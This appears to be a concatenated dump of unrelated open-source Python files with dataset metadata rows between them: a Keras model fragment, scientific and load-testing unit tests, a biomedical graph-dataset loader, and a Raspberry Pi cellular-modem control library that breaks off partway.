name='reshape')(a1) # =============================================== # Dense layer # =============================================== d1 = Dense(256, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.5)(d1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(d1) m = Model(inputs, s1, name='conNet') return m ''' 测试 ''' def test(): input_shape = (13,300,3) model = conNet_79_for_128(input_shape,c.WEIGHT_DECAY,c.POOL) print(model.summary()) # 5,237,536 16,760,192 time.sleep(300000) x = np.random.randn(1, 16,256,1) print("x: ",x) v = model.predict(x) print(v.shape) print("res:\n", v) if __name__ == '__main__': test()

46.244759

136

0.451659

8,908

94,848

4.701504

0.021105

0.012655

0.07378

0.096273

0.971897

0.971801

0.970583

0.969986

0.965354

0.963205

0

0.057598

0.258287

94,848

2,051

137

46.244759

0.537726

0.322948

0

0.917145

0

0.085475

0

1

0.017227

false

0

0.009844

0.00082

0.043478

0.003281

0

null

0

1

0

1

0

null

0

7

d3834bf15dafeabc0d1b205aa5a66f6f20af0e5d

2,921

py

Python

khan/pipeline/tests/test_files.py

zachariahmilby/keck-hires-aurora-pipeline

51aae65cc6be396b0ef3de12f76220576248fea9

[ "MIT" ]

null

khan/pipeline/tests/test_files.py

zachariahmilby/keck-hires-aurora-pipeline

51aae65cc6be396b0ef3de12f76220576248fea9

[ "MIT" ]

null

khan/pipeline/tests/test_files.py

zachariahmilby/keck-hires-aurora-pipeline

51aae65cc6be396b0ef3de12f76220576248fea9

[ "MIT" ]

null

import astropy.units as u import numpy as np from khan.common import airmass_unit, get_meridian_reflectivity, \ get_mauna_kea_summit_extinction, get_solar_spectral_radiance class TestGetMeridianReflectivity: def test_if_first_wavelength_value_correct(self): assert get_meridian_reflectivity()['wavelength'][0] == 320 * u.nm def test_if_last_wavelength_value_correct(self): assert get_meridian_reflectivity()['wavelength'][-1] == 999.9 * u.nm def test_if_length_of_wavelength_correct(self): assert len(get_meridian_reflectivity()['wavelength']) == 6800 def test_if_first_reflectivity_value_correct(self): assert get_meridian_reflectivity()['reflectivity'][0] == 0.2845 def test_if_last_reflectivity_value_correct(self): assert get_meridian_reflectivity()['reflectivity'][-1] == 0.2151 def test_if_length_of_reflectivity_correct(self): assert len(get_meridian_reflectivity()['reflectivity']) == 6800 class TestGetMaunaKeaSummitExtinction: def test_if_first_wavelength_value_correct(self): assert get_mauna_kea_summit_extinction()['wavelength'][0] == 320 * u.nm def test_if_last_wavelength_value_correct(self): assert get_mauna_kea_summit_extinction()['wavelength'][ -1] == 999.8 * u.nm def test_if_length_of_wavelength_correct(self): assert len(get_mauna_kea_summit_extinction()['wavelength']) == 3400 def test_if_first_reflectivity_value_correct(self): assert get_mauna_kea_summit_extinction()['extinction'][ 0] == 0.8564351 * u.mag / airmass_unit def test_if_last_reflectivity_value_correct(self): assert get_mauna_kea_summit_extinction()['extinction'][ -1] == 0.01447293 * u.mag / airmass_unit def test_if_length_of_reflectivity_correct(self): assert len(get_mauna_kea_summit_extinction()['extinction']) == 3400 class TestGetSolarSpectralRadiance: def test_if_first_wavelength_value_correct(self): assert get_solar_spectral_radiance()['wavelength'][0] == 320 * u.nm def test_if_last_wavelength_value_correct(self): assert get_solar_spectral_radiance()['wavelength'][-1] == 999.0 * u.nm def test_if_length_of_wavelength_correct(self): assert len(get_solar_spectral_radiance()['wavelength']) == 760 def test_if_first_radiance_value_correct(self): assert get_solar_spectral_radiance()['radiance'][ 0] == 0.77500 * 1 / np.pi * u.watt / ( u.m ** 2 * u.nm * u.sr) def test_if_last_radiance_value_correct(self): assert get_solar_spectral_radiance()['radiance'][ -1] == 0.74200 * 1 / np.pi * u.watt / ( u.m ** 2 * u.nm * u.sr) def test_if_length_of_radiance_correct(self): assert len(get_solar_spectral_radiance()['radiance']) == 760

38.434211

79

0.697022

374

2,921

5.026738

0.163102

0.067021

0.08617

0.140426

0.816489

0.788298

0.77766

0.740426

0.705851

0.619681

0

0.041845

0.19822

2,921

75

80

38.946667

0.760888

0

0.42

0

0.061623

0

0.36

1

0.36

false

0

0.06

0

0.48

0

null

0

1

0

null

0

1

0

7

d3ab8eade0b4111a8b5b23ded41f66a742823be1

8,696

py

Python

bindings/python/ensmallen/datasets/yue.py

LucaCappelletti94/EnsmallenGraph

572532b6d3f4352bf58f9ccca955376acd95fd89

[ "MIT" ]

null

bindings/python/ensmallen/datasets/yue.py

LucaCappelletti94/EnsmallenGraph

572532b6d3f4352bf58f9ccca955376acd95fd89

[ "MIT" ]

null

bindings/python/ensmallen/datasets/yue.py

LucaCappelletti94/EnsmallenGraph

572532b6d3f4352bf58f9ccca955376acd95fd89

[ "MIT" ]

null

"""Module providing graphs available from Yue. References ---------- Please cite: ```bib @article{yue2020graph, title={Graph embedding on biomedical networks: methods, applications and evaluations}, author={Yue, Xiang and Wang, Zhen and Huang, Jingong and Parthasarathy, Srinivasan and Moosavinasab, Soheil and Huang, Yungui and Lin, Simon M and Zhang, Wen and Zhang, Ping and Sun, Huan}, journal={Bioinformatics}, volume={36}, number={4}, pages={1241--1251}, year={2020}, publisher={Oxford University Press} } ``` """ from ensmallen import Graph # pylint: disable=import-error from .automatic_graph_retrieval import AutomaticallyRetrievedGraph def node2vecPPI( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return node2vecPPI graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "node2vecPPI", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def CTDDDA( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return CTDDDA graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "CTDDDA", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def DrugBankDDI( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return DrugBankDDI graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "DrugBankDDI", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def MashupPPI( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return MashupPPI graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "MashupPPI", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def NDFRTDDA( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return NDFRTDDA graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "NDFRTDDA", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def ClinTermCOOC( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return ClinTermCOOC graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "ClinTermCOOC", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )() def StringPPI( directed = False, preprocess = "auto", load_nodes = True, load_node_types = True, load_edge_weights = True, auto_enable_tradeoffs = True, sort_tmp_dir = None, verbose = 2, cache = True, cache_path = None, cache_sys_var = "GRAPH_CACHE_DIR", version = "latest", **kwargs ) -> Graph: """Return StringPPI graph Parameters ---------- directed = False preprocess = "auto" Preprocess for optimal load time & memory peak. Will preprocess in Linux/macOS but not Windows. load_nodes = True Load node names or use numeric range auto_enable_tradeoffs = True Enable when graph has < 50M edges cache_path = None Path to store graphs Defaults either to `GRAPH_CACHE_DIR` sys var or `graphs` cache_sys_var = "GRAPH_CACHE_DIR" version = "latest" Version to retrieve """ return AutomaticallyRetrievedGraph( "StringPPI", version, "yue", directed, preprocess, load_nodes, load_node_types, load_edge_weights, auto_enable_tradeoffs, sort_tmp_dir, verbose, cache, cache_path, cache_sys_var, kwargs )()

36.233333

191

0.674448

1,076

8,696

5.214684

0.1171

0.029941

0.07111

0.067368

0.876493

0

0.006494

0.2385

8,696

239

192

36.384937

0.840834

0.470331

0

0.797468

0

0.063346

0

1

0.088608

false

0

0.025316

0

0.202532

0

null

0

1

0

1

0

null

0

7

6ccf67b73908d9d84a9c138cfc632a1887fc8ef7

79

py

Python

app/cron.py

kthaisse/website

be0d0e0763ae2a6b8351c08b432229eae9521f1d

[ "MIT" ]

1

2020-03-19T09:44:16.000Z

app/cron.py

kthaisse/website

be0d0e0763ae2a6b8351c08b432229eae9521f1d

[ "MIT" ]

43

2020-02-22T09:32:27.000Z

2022-03-22T11:24:51.000Z

app/cron.py

kthaisse/website

be0d0e0763ae2a6b8351c08b432229eae9521f1d

[ "MIT" ]

3

2020-03-06T13:27:12.000Z

2022-02-07T09:01:07.000Z

from app.slack import check_users def slack_check_users(): check_users()

13.166667

33

0.759494

12

79

4.666667

0.583333

0.535714

0

0.164557

79

5

34

15.8

0.848485

0

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

9f16fc43ebc4d584cd6ad66413125c394f7d4aef

1,660

py

Python

tests/processing/test_conformerGenerator.py

Andy-Wilkinson/ChemMLToolk

83efc7ea66d2def860a3e04ccd70d77fb689fddc

[ "MIT" ]

1

2019-10-30T03:43:24.000Z

tests/processing/test_conformerGenerator.py

Andy-Wilkinson/ChemMLToolk

83efc7ea66d2def860a3e04ccd70d77fb689fddc

[ "MIT" ]

2

2021-11-28T21:09:30.000Z

2021-11-28T21:09:39.000Z

tests/processing/test_conformerGenerator.py

Andy-Wilkinson/ChemMLToolkit

83efc7ea66d2def860a3e04ccd70d77fb689fddc

[ "MIT" ]

null

from rdkit import Chem from rdkit.Chem import AllChem from chemmltoolkit.processing.conformerGenerator import ConformerGenerator class TestConformerGenerator(object): def test_generate_conformers(self): input_mol = Chem.MolFromSmiles('CCCN') conformerGenerator = ConformerGenerator() mol = conformerGenerator.generate_conformers(input_mol) assert input_mol.GetNumConformers() == 0 assert mol.GetNumConformers() > 0 def test_generate_conformers_no_forcefield(self): input_mol = Chem.MolFromSmiles('CCCN') conformerGenerator = ConformerGenerator(force_field=None) mol = conformerGenerator.generate_conformers(input_mol) assert input_mol.GetNumConformers() == 0 assert mol.GetNumConformers() > 0 def test_generate_conformers_with_template(self): input_mol = Chem.MolFromSmiles('CCCN') template_mol = Chem.MolFromSmiles('CN') AllChem.EmbedMolecule(template_mol) conformerGenerator = ConformerGenerator(align_templates=[template_mol]) mol = conformerGenerator.generate_conformers(input_mol) assert input_mol.GetNumConformers() == 0 assert mol.GetNumConformers() > 0 def test_generate_conformers_with_template_no_match(self): input_mol = Chem.MolFromSmiles('CCCN') template_mol = Chem.MolFromSmiles('CO') AllChem.EmbedMolecule(template_mol) conformerGenerator = ConformerGenerator(align_templates=[template_mol]) mol = conformerGenerator.generate_conformers(input_mol) assert input_mol.GetNumConformers() == 0 assert mol.GetNumConformers() == 0

36.086957

79

0.728313

163

1,660

7.165644

0.220859

0.082192

0.136986

0.085616

0.821062

0.702911

0

0.005966

0.192169

1,660

45

80

36.888889

0.865026

0

0.59375

1

0

0.012048

0

0.25

1

0.125

false

0

0.09375

0

0.25

0

null

0

1

0

1

0

null

0

7

9f279fe94ad0126c6a96bae6d72a772b265a8fab

6,481

py

Python

test/unit/stat/test_generalerror.py

arielmakestuff/loadlimit

70d3d23eecfe7922699098ea4901cc8673d14576

[ "MIT" ]

null

test/unit/stat/test_generalerror.py

arielmakestuff/loadlimit

70d3d23eecfe7922699098ea4901cc8673d14576

[ "MIT" ]

5

2016-11-28T16:59:44.000Z

2017-03-18T17:10:40.000Z

test/unit/stat/test_generalerror.py

arielmakestuff/loadlimit

70d3d23eecfe7922699098ea4901cc8673d14576

[ "MIT" ]

null

# -*- coding: utf-8 -*- # test/unit/stat/test_generalerror.py # Copyright (C) 2016 authors and contributors (see AUTHORS file) # # This module is released under the MIT License. """Test GeneralError""" # ============================================================================ # Imports # ============================================================================ # Stdlib imports # Third-party imports from pandas import Series, Timestamp, to_timedelta import pytest # Local imports from loadlimit.result import TotalError, TotalFailure from loadlimit.stat import CountStore, Failure # ============================================================================ # Test TotalError # ============================================================================ @pytest.mark.parametrize('exctype', [Exception, RuntimeError, ValueError]) def test_totalerror_calculate_data(statsdict, exctype): """Create dataframe from given error/failure data""" measure = CountStore() key = '42' calc = TotalError(statsdict=statsdict, countstore=measure) err = exctype('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, repr(err), 1], index=['end', 'rate', 'response', 'error', 'count']) statsdict.adderror(key, data) calc.__enter__() calc.calculate(key, [], list(statsdict.error(key)), []) vals = calc.vals assert vals assert vals.results[key] is not None df = vals.results[key] assert df.columns == ['Total'] assert df.index.names == ['Name', calc.errtype[0].capitalize()] assert df.index.values.all() == (key, repr(err)) assert df.iloc[0][0] == 1 @pytest.mark.parametrize('exctype', [Exception, RuntimeError, ValueError]) def test_totalerror_calculate_nodata(statsdict, exctype): """Create dataframe from given error/failure data""" measure = CountStore() key = '42' calc = TotalError(statsdict=statsdict, countstore=measure) err = exctype('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, repr(err), 1], index=['end', 'rate', 'response', 'error', 'count']) statsdict.adderror(key, data) calc.__enter__() calc.calculate(key, [], [], []) vals = calc.vals assert vals assert vals.results[key] is None @pytest.mark.parametrize('exctype', [Exception, RuntimeError, ValueError]) def test_totalerror_export(monkeypatch, statsdict, exctype): """Call exportdf() if there are results""" measure = CountStore() key = '42' calc = TotalError(statsdict=statsdict, countstore=measure) err = exctype('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, repr(err), 1], index=['end', 'rate', 'response', 'error', 'count']) statsdict.adderror(key, data) called = False def fake_exportdf(self, df, name, export_type, exportdir): nonlocal called called = True assert df is calc.vals.results assert name == calc.errtype[0] assert export_type == 'EXPORTTYPE' assert exportdir == 'EXPORTDIR' monkeypatch.setattr(TotalError, 'exportdf', fake_exportdf) calc.__enter__() calc.calculate(key, [], list(statsdict.error(key)), []) vals = calc.vals assert vals assert vals.results[key] is not None calc.export('EXPORTTYPE', 'EXPORTDIR') assert called is True # ============================================================================ # Test TotalFailure # ============================================================================ def test_totalfailure_calculate_data(statsdict): """Create dataframe from given failure data""" measure = CountStore() key = '42' calc = TotalFailure(statsdict=statsdict, countstore=measure) err = Failure('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, str(err.args[0]), 1], index=['end', 'rate', 'response', 'failure', 'count']) statsdict.addfailure(key, data) calc.__enter__() calc.calculate(key, [], [], list(statsdict.failure(key))) vals = calc.vals assert vals assert vals.results[key] is not None df = vals.results[key] assert df.columns == ['Total'] assert df.index.names == ['Name', calc.errtype[0].capitalize()] assert df.index.values.all() == (key, str(err.args[0])) assert df.iloc[0][0] == 1 def test_totalfailure_calculate_nodata(statsdict): """Create dataframe from given failure data""" measure = CountStore() key = '42' calc = TotalFailure(statsdict=statsdict, countstore=measure) err = Failure('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, str(err.args[0]), 1], index=['end', 'rate', 'response', 'failure', 'count']) statsdict.addfailure(key, data) calc.__enter__() calc.calculate(key, [], [], []) vals = calc.vals assert vals assert vals.results[key] is None @pytest.mark.parametrize('exctype', [Exception, RuntimeError, ValueError]) def test_totalfailure_export(monkeypatch, statsdict, exctype): """Call exportdf() if there are results""" measure = CountStore() key = '42' calc = TotalFailure(statsdict=statsdict, countstore=measure) err = Failure('hello') end = Timestamp.now(tz='UTC') delta = to_timedelta(5, unit='s') data = Series([end, delta, 1/5, str(err.args[0]), 1], index=['end', 'rate', 'response', 'failure', 'count']) statsdict.addfailure(key, data) called = False def fake_exportdf(self, df, name, export_type, exportdir): nonlocal called called = True assert df is calc.vals.results assert name == calc.errtype[0] assert export_type == 'EXPORTTYPE' assert exportdir == 'EXPORTDIR' monkeypatch.setattr(TotalFailure, 'exportdf', fake_exportdf) calc.__enter__() calc.calculate(key, [], [], list(statsdict.failure(key))) vals = calc.vals assert vals assert vals.results[key] is not None calc.export('EXPORTTYPE', 'EXPORTDIR') assert called is True # ============================================================================ # # ============================================================================

31.158654

78

0.582318

705

6,481

5.273759

0.164539

0.032275

0.045186

0.035503

0.867671

0.859602

0

0.01048

0.190248

6,481

207

79

31.309179

0.69798

0.176362

0

0.892308

0

0.068143

0

0.230769

1

0.061538

false

0

0.030769

0

0.092308

0

null

0

1

0

1

0

null

0

7

9f9b18f5a38fd81d80660763477bcb5d766554ea

145

py

Python

backend/routes/__init__.py

777PolarFox777/kanban-flask

e8e75254def24d0b7d6b10c05b5d40a8b3147682

[ "MIT" ]

null

backend/routes/__init__.py

777PolarFox777/kanban-flask

e8e75254def24d0b7d6b10c05b5d40a8b3147682

[ "MIT" ]

null

backend/routes/__init__.py

777PolarFox777/kanban-flask

e8e75254def24d0b7d6b10c05b5d40a8b3147682

[ "MIT" ]

null

import backend.routes.index.route import backend.routes.column.route import backend.routes.card.route import backend.routes.error_handlers.route

29

42

0.862069

21

145

5.904762

0.428571

0.419355

0.612903

0.580645

0

0.055172

145

4

43

36.25

0.905109

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

9fa9481f69e35512847665bb38f9bb4d53a5a98b

73,644

py

Python

farmjennycellular/farmjennycellular.py

farmjenny/Farm_Jenny_Installer

88b54290c8cc9c4c64aaa1a669ae26d4a832d4a2

[ "MIT" ]

null

farmjennycellular/farmjennycellular.py

farmjenny/Farm_Jenny_Installer

88b54290c8cc9c4c64aaa1a669ae26d4a832d4a2

[ "MIT" ]

null

farmjennycellular/farmjennycellular.py

farmjenny/Farm_Jenny_Installer

88b54290c8cc9c4c64aaa1a669ae26d4a832d4a2

[ "MIT" ]

null

''' Farm Jenny Cellular Python Library - Library for Farm Jenny boards, including the Farm Jenny LTE Border Router HAT. - Author: Rob Crouthamel, Farm Jenny LLC - Adapted from SixFab https://github.com/sixfab/Sixfab_RPi_CellularIoT_App_Shield, MIT License. ''' import time import serial from decimal import Decimal import RPi.GPIO as GPIO # global variables TIMEOUT = 3 # seconds ser = serial.Serial() ########################################### ### Private Methods ####################### ########################################### # Function for printing debug message def debug_print(message): print(message) # Function for getting time as miliseconds def millis(): return int(time.time()) # Function for delay as miliseconds def delay(ms): time.sleep(float(ms/1000.0)) def dm2dec_lat(dm_reading): #convert a degrees-minutes latitude reading into signed decimal #latitude input format is ddmm.mmmmN/S if len(dm_reading) != 10: return 0 degree = dm_reading[0:2] minutes = dm_reading[2:9] direction = dm_reading[9:] sign = -1 if (direction == "S") else 1 dec = round( sign * ( Decimal(degree) + Decimal(minutes) / Decimal("60") ),6) return dec def dm2dec_long(dm_reading): #convert a degrees-minutes longitude reading into signed decimal #longitude input format is dddmm.mmmmE/W if len(dm_reading) != 11: return 0 degree = dm_reading[0:3] minutes = dm_reading[3:10] direction = dm_reading[10:] sign = -1 if ( direction == "W" ) else 1 dec = round( sign * ( Decimal(degree) + Decimal(minutes) / Decimal("60") ),6) return dec ############################################### ### Farm Jenny Test Class ##################### ############################################### class FarmJennyTest: # Initializer function def __init__(self): debug_print("Test class initialized!") def tellmeyourokay(self): print("Farm Jenny was here.") ########################################################################### ### Farm Jenny LTE BR HAT + Nimbelink NL-SW-LTE-QBG96 Modem Class ######### ########################################################################### class FarmJennyHatBg96: board = "" # shield name (LTE Border Router HAT with Quectel BG96-based Modem) ip_address = "" # ip address domain_name = "" # domain name port_number = "" # port number timeout = TIMEOUT # default timeout for function and methods on this library. response = "" # variable for modem self.responses compose = "" # variable for command self.composes USER_BUTTON_N = 22 # Low when button is pressed. There is a pullup on board. USER_LED_N = 27 # Low turns on LED2 (Green) MDM_PWR = 26 # High enables the power regulator for the cell modem MDM_STATUS_N = 23 # Low corresponds to LED4 (Blue) lit MDM_ON_OFF = 24 # set high momenarily, like pressing a power button MDM_RING = 25 # Pulses low for 120mS when URC is present. Open drain output with 1M pullup to 3.3V in modem. # Cellular Modes AUTO_MODE = 0 GSM_MODE = 1 CATM1_MODE = 2 CATNB1_MODE = 3 # LTE Bands LTE_B1 = "1" LTE_B2 = "2" LTE_B3 = "4" LTE_B4 = "8" LTE_B5 = "10" LTE_B8 = "80" LTE_B12 = "800" LTE_B13 = "1000" LTE_B18 = "20000" LTE_B19 = "40000" LTE_B20 = "80000" LTE_B26 = "2000000" LTE_B28 = "8000000" LTE_B39 = "4000000000" # catm1 only LTE_CATM1_ANY = "400A0E189F" LTE_CATNB1_ANY = "A0E189F" LTE_NO_CHANGE = "0" # GSM Bands GSM_NO_CHANGE = "0" GSM_900 = "1" GSM_1800 = "2" GSM_850 = "4" GSM_1900 = "8" GSM_ANY = "F" SCRAMBLE_ON = "0" SCRAMBLE_OFF = "1" # Special Characters CTRL_Z = '\x1A' # Initializer function def __init__(self, serial_port="/dev/ttyS0", serial_baudrate=115200, board="LTE Border Router HAT with BG96", rtscts=False, dsrdtr=False): self.board = board ser.port = serial_port ser.baudrate = serial_baudrate ser.parity=serial.PARITY_NONE ser.stopbits=serial.STOPBITS_ONE ser.bytesize=serial.EIGHTBITS ser.rtscts=rtscts ser.dsrdtr=dsrdtr debug_print(self.board + " Class initialized!") def setupGPIO(self): GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(self.MDM_PWR, GPIO.OUT) GPIO.setup(self.USER_BUTTON_N, GPIO.IN) GPIO.setup(self.USER_LED_N, GPIO.OUT) GPIO.setup(self.MDM_STATUS_N, GPIO.IN) GPIO.setup(self.MDM_ON_OFF, GPIO.OUT) GPIO.setup(self.MDM_RING, GPIO.IN) def __del__(self): # don't clear GPIO on exit or modem will turn off # self.clearGPIOs() pass # Function for clearing global compose variable def clear_compose(self): self.compose = "" # Function for clearing GPIO's setup def clearGPIOs(self): GPIO.cleanup() # Function for enabling power to the modem. Note: not all models will initialize automatically. def enable(self): GPIO.output(self.MDM_PWR,1) debug_print("Modem power enabled!") # Function for cutting power to the modem. Not advised during normal use as the modem will not disconnect properly. def disable(self): GPIO.output(self.MDM_PWR,0) debug_print("Modem power disabled!") # Function for powering up or down the modem using the on-off key def powerUp(self): GPIO.output(self.MDM_ON_OFF,1) while self.getModemStatus(): # loop until modem status goes low, indicating it has booted (LED 4, blue, lit) pass debug_print("modem powered up!") GPIO.output(self.MDM_ON_OFF,0) # Function for getting modem power status def getModemStatus(self): # Modem status pin state is undefined if modem VCC is not powered. Return 1 if modem is disabled. if not GPIO.input(self.MDM_PWR): return 1 else: return GPIO.input(self.MDM_STATUS_N) # Function for getting modem response def getResponse(self, desired_response): if (ser.isOpen() == False): ser.open() while 1: self.response ="" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending data to module def sendDataCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) ser.reset_input_buffer() ser.write(self.compose.encode()) debug_print(self.compose) # Function for sending at comamand to module def sendATCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) + "\r" ser.reset_input_buffer() ser.write(self.compose.encode()) #debug_print(self.compose) # Function for sending data to AT. def sendDataComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendDataCommOnce(command) timer = millis() while 1: if(millis() - timer > timeout): self.sendDataCommOnce(command) timer = millis() self.response = "" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending at command to AT. def sendATComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendATCommOnce(command) #f_debug = False timer = millis() while 1: if( millis() - timer > timeout): self.sendATCommOnce(command) timer = millis() #f_debug = False self.response ="" while(ser.inWaiting()): try: self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') delay(100) except Exception as e: debug_print(e) # debug_print(self.response) if(self.response.find(desired_response) != -1): debug_print(self.response) return self.response # returns the response of the command as string. # Function for saving conf. and reset the modem def resetModule(self): self.saveConfigurations() delay(200) self.disable() delay(200) self.enable() # Function for save configurations that be done in current session. def saveConfigurations(self): self.sendATComm("AT&W","OK\r\n") # Function for getting IMEI number def getIMEI(self): return self.sendATComm("AT+CGSN","OK\r\n") # Identical command: AT+GSN # Function for getting firmware info def getFirmwareInfo(self): return self.sendATComm("AT+CGMR","OK\r\n") # Identical command: AT+GMR # Function for getting hardware info def getHardwareInfo(self): return self.sendATComm("AT+CGMM","OK\r\n") # Identical command: AT+GMM # Function returning Manufacturer Identification def getManufacturerInfo(self): return self.sendATComm("AT+CGMI","OK\r\n") # Identical command: AT+GMI # Function for setting GSM Band def setGSMBand(self, gsm_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(gsm_band) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting Cat.M1 Band def setCATM1Band(self, catm1_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(self.GSM_NO_CHANGE) self.compose += "," self.compose += str(catm1_band) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting NB-IoT Band def setNBIoTBand(self, nbiot_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(self.GSM_NO_CHANGE) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.compose += "," self.compose += str(nbiot_band) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for getting current band settings def getBandConfiguration(self): return self.sendATComm("AT+QCFG=\"band\"","OK\r\n") # Function for setting scramble feature configuration def setScrambleConf(self, scramble): self.compose = "AT+QCFG=\"nbsibscramble\"," self.compose += scramble 